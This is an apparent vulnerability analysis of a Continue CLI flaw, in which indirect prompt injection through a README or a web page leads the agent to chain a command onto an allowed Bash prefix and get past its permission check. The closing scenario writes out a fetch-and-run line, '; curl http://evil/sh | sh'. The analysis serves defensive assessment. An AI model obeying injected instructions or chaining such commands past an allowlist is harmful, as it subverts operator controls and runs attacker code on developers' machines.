Continue CLI CVE-2026-109560

Exploitation requires: (1) a Continue CLI instance (version ≤ 1.5.47) configured with at least one allowed Bash prefix rule that the attacker can chain onto - without an existing allow rule there is nothing to piggyback; (2) the agent processing attacker-controlled content, specifically a repository file or a fetched web page carrying injected instructions (indirect prompt injection); and (3) the victim actually running the agent against that content (UI:P). Limiting factors: no attacker authentication is needed (PR:N), but the attack depends on the operator having enabled a permissive Bash allowlist and on the agent being pointed at poisoned input, so default usage without Bash command approval rules is not exposed.

This is a genuine, moderately high-priority issue for the specific population that runs the Continue CLI agent on untrusted inputs. The CVSS 4.0 vector (AV:N/AC:L/AT:P/PR:N/UI:P, VC:H/VI:H/VA:H, score 7.7 High) correctly reflects that a successful bypass yields full code execution as the invoking user (all three vulnerable-system impacts High) with no scope change. The signals are internally consistent rather than conflicting: AV:N and PR:N indicate the malicious instructions arrive over the network (a repository file or fetched page) with no attacker authentication, while AT:P (attack requirement present) and UI:P (passive user interaction) correctly encode the real preconditions - the victim must run the agent against attacker-controlled content, and there must already be an allowed Bash prefix rule to chain commands onto. No EPSS score, CISA KEV entry, or POC flag was supplied in the input, so there is no public exploit identified at time of analysis and no evidence of active or widespread exploitation; the primary corroboration is the VulnCheck advisory, GitHub issue #13288, and direct source references to permissionChecker.ts and policyWriter.ts, which confirm the root cause (CWE-863 incorrect authorization) at the code level. Net: this is a real and credible agent-sandbox-escape / prompt-injection-to-RCE class flaw, not a theoretical high-CVSS inflation, but its realistic blast radius is bounded by the need for a pre-existing allowlist rule and for the agent to process poisoned content.

A developer uses Continue CLI with a Bash prefix allow rule (e.g. permitting 'git status'). An attacker plants hidden instructions in a public repository's README or a web page the agent fetches; the agent, following those instructions, emits an allowed prefix followed by '; curl http://evil/sh | sh', which passes the permission check and executes arbitrary code as the developer. No public exploit code is identified at time of analysis, but the root cause is documented in the VulnCheck advisory and the vendor's source.